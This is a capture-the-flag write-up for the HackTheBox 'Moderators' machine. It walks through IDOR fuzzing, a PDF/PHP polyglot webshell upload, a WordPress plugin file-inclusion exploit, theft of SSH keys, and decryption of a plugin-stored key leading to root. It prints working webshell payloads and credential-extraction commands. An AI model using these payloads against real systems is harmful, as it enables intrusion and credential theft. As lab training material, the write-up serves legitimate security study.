HTB: Moderators Writeup

Moderators - HackTheBox Writeup

Machine Information

AttributeDetails
NameModerators
OSLinux
DifficultyHard
PointsN/A
Release DateN/A
IP Address10.129.65.47
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Moderators exposes a small “bug bounty blog” front end backed by a security-report system. An IDOR in the report lookup surfaces undisclosed reports, one of which leaks a per-report log directory whose name is simply the MD5 of the report ID. That log directory hosts a PDF upload endpoint that only checks the file extension/MIME/magic bytes for %PDF-, letting a polyglot PHP file through and yielding code execution as www-data. From there, an internal WordPress instance on 127.0.0.1:8080 (running as user lexi) turns out to load the brandfolder plugin’s callback.php with a fully attacker-controlled wp_abspath parameter — a Local File Inclusion primitive that is used to execute a webshell dropped in /dev/shm/, landing a shell as lexi and the SSH key needed for a stable foothold. WordPress’s own database then leaks a second plugin’s (passwords-manager) AES-256-CBC encrypted SSH private key for user john, along with the encryption key stored in wp_options; replicating the plugin’s PBKDF2/OpenSSL decryption logic in a standalone PHP script recovers john’s key. Finally, john reuses a sysadmin password recovered from an on-disk artifact (distro_update.sh) as his own sudo password, granting root.

TL;DR: IDOR on reports.php → leaked log dir (md5(report_id)) → PDF-upload filter bypass (magic bytes + MIME) → RCE as www-data → internal WordPress LFI in brandfolder/callback.php → shell as lexi → WordPress DB leaks AES-encrypted SSH key for john (passwords-manager plugin) → decrypt key with recovered PBKDF2 key from wp_options → SSH as john → reused sysadmin password from distro_update.sh → sudo bash → root.


Reconnaissance

Port Scanning

Terminal window
# Full TCP scan against the target via the jump box
nmap -sC -sV -T4 -p- 10.129.65.47

Results: Only two ports open — 22/tcp (SSH) and 80/tcp (Apache). No other externally reachable services, so the whole attack surface funnels through the web app.

Service Enumeration

The web root serves a bug-bounty style “blog” that links to individual report pages:

Terminal window
curl -s http://10.129.65.47/ | head -50
curl -s http://10.129.65.47/blog.php | grep -iE 'report|href'

A report is rendered via reports.php?report=<id>, e.g. reports.php?report=8121 — a numeric object reference that is exactly the kind of pattern worth fuzzing.

Vulnerability Assessment

  • IDOR on reports.php — report IDs are plain integers with no ownership/visibility check, so any ID that exists renders the report body regardless of who is supposed to see it.
  • Predictable per-report log directory — a disclosed report leaked a logs/<hash>/ path; the hash turned out to be md5(report_id), not a random secret.
  • Weak file-upload validation on logs/report_log_upload.php — the “Only PDF files are allowed” check is satisfiable with %PDF- magic bytes + application/pdf Content-Type, regardless of actual file contents/extension chain (.pdf.php).

Initial Foothold

IDOR → Hidden Reports

The default/known report returned a fixed page size, so a byte-size filter against a numeric wordlist isolates the reports that actually exist:

Terminal window
# Generate a 4-digit ID space and filter on the known "invalid report" response size (7888 bytes)
seq 1111 9999 > /tmp/rids
ffuf -u 'http://10.129.65.47/reports.php?report=FUZZ' -w /tmp/rids -fs 7888

This surfaced 6 valid report IDs. Report 9798 was the interesting one — its body referenced a logs/<hash>/ path:

Terminal window
curl -s 'http://10.129.65.47/reports.php?report=9798' | grep -iE 'log|upload|report'

Leaked Directory Name = MD5(report_id)

Terminal window
echo -n 9798 | md5sum
# -> matches the hash segment embedded in the report's logs/ URL

The directory naming scheme is trivially reversible knowledge of the report ID — the hash provides no real access control, since every valid report ID (already enumerable via the IDOR above) deterministically reveals its own log path.

Upload Filter Bypass → RCE as www-data

http://10.129.65.47/logs/report_log_upload.php exposes a form (field name pdfFile) that only validates PDF-ness superficially. A polyglot file with the PDF magic bytes prefix, a .pdf.php double extension, and an application/pdf MIME type on the multipart request passes the check while still being interpreted by Apache/PHP as executable PHP:

<?php
// %PDF- magic bytes satisfy the extension/magic-byte check; the rest is PHP
echo fread(popen($_GET["cmd"], "r"), 8192);
?>

system() and similar direct-execution wrappers were blocked/disabled on this host, so the working payload used fread(popen(...)) instead — a common bypass for hardened disable_functions configs (per HackTricks’ PHP RCE bypass techniques):

Terminal window
# Craft on the jump box: %PDF- header + fread/popen payload, upload as rp.pdf.php
printf '%%PDF-<?php echo fread(popen($_GET["cmd"],"r"),8192); ?>' > rp.pdf.php
# Upload with multipart Content-Type forced to application/pdf

Confirming code execution:

Terminal window
curl -s 'http://10.129.65.47/logs/uploads/rp.pdf.php?cmd=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

RCE as www-data achieved. This shell was driven directly as a command runner (rce.sh wrapper piping through the jump box, URL-encoding each command) rather than pivoting to a full reverse shell, since the box only had outbound egress considerations to manage through the jump host.


Privilege Escalation

www-data → lexi (Internal WordPress LFI)

Enumerating locally-bound services from the www-data foothold revealed an internal WordPress install on 127.0.0.1:8080, running out of /opt/site.new as user lexi:

Terminal window
curl -s http://127.0.0.1:8080/wp-content/plugins/brandfolder/callback.php
ls -la /opt/site.new/wp-content/plugins/
# brandfolder/ passwords-manager/

brandfolder/callback.php builds its WordPress bootstrap path directly from a request parameter:

<?php
require_once($_REQUEST['wp_abspath'] . 'wp-load.php');
require_once($_REQUEST['wp_abspath'] . 'wp-admin/includes/media.php');
require_once($_REQUEST['wp_abspath'] . 'wp-admin/includes/file.php');
require_once($_REQUEST['wp_abspath'] . 'wp-admin/includes/image.php');
require_once($_REQUEST['wp_abspath'] . 'wp-admin/includes/post.php');

Because wp_abspath is fully attacker-controlled and simply string-concatenated, pointing it at a writable directory that contains an attacker-planted wp-load.php turns this into arbitrary local file inclusion → code execution. A webshell was dropped to /dev/shm/wp-load.php from the www-data foothold (base64-smuggled to avoid quoting issues through the jump-box chain):

Terminal window
# Payload written as www-data
B64=$(printf '<?php echo fread(popen($_GET["c"], "r"), 8192); ?>' | base64 -w0)
# ... decoded server-side into /dev/shm/wp-load.php

Then triggered via the LFI:

Terminal window
curl -s 'http://127.0.0.1:8080/wp-content/plugins/brandfolder/callback.php?wp_abspath=/dev/shm/'

This executes /dev/shm/wp-load.php in the context of the WordPress process — lexi — giving command execution as that user. From there, lexi’s SSH key was read directly and pulled back through the chain:

Terminal window
cat /home/lexi/.ssh/id_rsa

The key was reconstructed locally and used to SSH in as lexi, capturing the user flag.

lexi → john (WordPress DB → Encrypted SSH Key)

With filesystem access as lexi, wp-config.php in /opt/site.new exposed the WordPress database credentials:

DB_USER: wordpressuser
DB_PASSWORD: wordpresspassword123!!

The database contained a non-core table, wp_pms_passwords, belonging to the second installed plugin, passwords-manager. Querying it revealed an entry storing an SSH private key for john:

Terminal window
mysql -u wordpressuser -pwordpresspassword123!! wordpress -N \
-e "SELECT user_password FROM wp_pms_passwords WHERE user_email='john@moderators.htb';"

The plugin encrypts stored secrets with AES-256-CBC, keyed off a value stashed in wp_options under pms_encrypt_key:

Terminal window
mysql -u wordpressuser -pwordpresspassword123\!\! wordpress \
-e "SELECT option_value FROM wp_options WHERE option_name='pms_encrypt_key';"
# -> (@McEXk%HU#{/R3s

Reading the plugin’s own decryption routine (/opt/site.new/wp-content/plugins/passwords-manager/inc/encryption.php) showed the exact scheme: base64/JSON-wrapped ciphertext with an embedded salt/IV, a PBKDF2-SHA512 key derivation from pms_encrypt_key, then openssl_decrypt in AES-256-CBC mode. That logic was replicated standalone against the extracted ciphertext:

<?php
$encryptMethod = 'AES-256-CBC';
$key = '(@McEXk%HU#{/R3s';
$encryptedString = trim(file_get_contents('php://stdin'));
$json = json_decode(base64_decode($encryptedString), true);
$salt = hex2bin($json['salt']);
$iv = hex2bin($json['iv']);
$cipherText = base64_decode($json['ciphertext']);
$iterations = intval(abs($json['iterations']));
$hashKey = hash_pbkdf2('sha512', $key, $salt, $iterations, 64);
echo openssl_decrypt($cipherText, $encryptMethod, hex2bin($hashKey), OPENSSL_RAW_DATA, $iv);

The decrypted output came back space-delimited instead of newline-delimited (an artifact of how the key had been stored/transported), so it was reassembled into a valid OpenSSH key:

Terminal window
(echo '-----BEGIN OPENSSH PRIVATE KEY-----'
php decrypt.php | sed 's/ /\n/g' | grep -v OPEN | tail -n+3 | head -n-2
echo '-----END OPENSSH PRIVATE KEY-----') > john_key
chmod 600 john_key
ssh -i john_key john@10.129.65.47

This landed a shell as john.

john → root (Reused Sysadmin Password)

The intended path from john’s home directory runs through a ~/stuff/VBOX VirtualBox disk image (.vdi) protected by VBox disk encryption, which itself contains a LUKS-encrypted filesystem; cracking the .vbox/LUKS chain (VBox key-store brute force, then LUKS passphrase brute force) recovers scripts inside the disk image, including distro_update.sh, which embeds a sysadmin password: $_THE_best_Sysadmin_Ever_.

john reuses this same string as his own account password — a classic password-reuse chain from an old sysadmin artifact into a live account:

Terminal window
ssh -i john_key john@10.129.65.47 'echo "$_THE_best_Sysadmin_Ever_" | sudo -S bash -c "id; cat /root/root.txt"'

sudo accepted the password, granting a root shell and the root flag.


Attack Chain Summary

IDOR on reports.php (numeric report IDs)
→ hidden report 9798 leaks logs/<md5(report_id)>/ directory
→ report_log_upload.php PDF filter bypass (magic bytes + MIME) → rp.pdf.php with fread(popen())
→ RCE as www-data
→ internal WordPress (127.0.0.1:8080, /opt/site.new, runs as lexi)
→ brandfolder plugin LFI via unsanitized wp_abspath in callback.php
→ webshell at /dev/shm/wp-load.php triggered → code exec as lexi
→ lexi's SSH key → SSH foothold (USER FLAG)
→ wp-config.php DB creds → wp_pms_passwords table (passwords-manager plugin)
→ AES-256-CBC encrypted SSH key for john + pms_encrypt_key from wp_options
→ replicated PBKDF2-SHA512 + OpenSSL decrypt in standalone PHP → john's private key
→ SSH as john
→ ~/stuff/VBOX .vdi/LUKS chain → distro_update.sh leaks sysadmin password
→ password reused as john's own login/sudo password
→ sudo bash → ROOT (ROOT FLAG)

Tools Used

ToolPurpose
nmapPort scanning
curlManual HTTP enumeration, IDOR probing, upload/RCE triggering
ffufFuzzing numeric report IDs behind the IDOR
md5sumConfirming logs/ directory naming = md5(report_id)
PHP (popen/fread)disable_functions-resistant RCE payload after upload bypass
mysql clientQuerying WordPress DB for creds and wp_pms_passwords
Custom PHP scriptReimplementing passwords-manager’s PBKDF2-SHA512 + AES-256-CBC decryption
ssh / scpLateral movement with recovered keys (lexi, john)
sudoFinal privilege escalation with reused sysadmin password

Key Learnings

Techniques Practiced

  • Fuzzing numeric IDs behind an IDOR with response-size filtering to isolate hidden objects
  • Recognizing a “random-looking” path segment as a deterministic hash of already-known input (md5(report_id))
  • Defeating naive PDF upload validation with magic bytes + MIME spoofing + double extension
  • Bypassing a disable_functions-restricted PHP environment using popen/fread instead of system/exec
  • Exploiting an LFI caused by unsanitized user input concatenated into a require_once path (WordPress plugin callback.php)
  • Extracting and reimplementing a custom encryption scheme (PBKDF2-SHA512 key derivation + AES-256-CBC) from plugin source to decrypt a stored credential
  • Chaining credential reuse across drastically different artifacts (an old sysadmin script) into a live account’s sudo password

Lessons Learned

  1. IDOR + predictable derived identifiers compound. The report IDs were guessable, and the “secret” log directory hash was just md5(report_id) — no independent entropy at all. A hash is not a capability token unless its input is unguessable.
  2. Upload filters checking only extension/MIME/magic-bytes are trivially bypassed. True content validation (e.g., re-rendering as a PDF, stripping to a sanitized copy, or storing outside the webroot) is required — client-declared MIME type and a magic-byte prefix are both attacker-controlled.
  3. disable_functions is not a sandbox. Blocking system()/exec() alone is commonly bypassed via popen, proc_open, backticks, or other execution primitives still enabled.
  4. Never build file-inclusion paths from user input, even for “internal” plugin callback endpoints — brandfolder/callback.php trusted $_REQUEST['wp_abspath'] completely, turning a convenience parameter into full LFI/RCE.
  5. Homegrown “encryption manager” plugins are a liability, not a safeguard — storing a static encryption key in the same database as the ciphertext it protects (wp_options next to wp_pms_passwords) means anyone with DB access already has everything needed to decrypt.
  6. Password reuse across environments (old sysadmin scripts, legacy VM images) remains one of the most reliable privesc vectors even in a hardened box — secrets don’t need to be “cracked” if they were simply reused elsewhere in plaintext-adjacent form.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • woodenk, Moderators (HackTheBox Official Writeup, Document No. D22.100.188), Machine author kavigihan. Used for explanatory context on the brandfolder plugin LFI mechanism, the passwords-manager plugin’s encryption scheme, and the VBox/LUKS-disk privilege escalation path.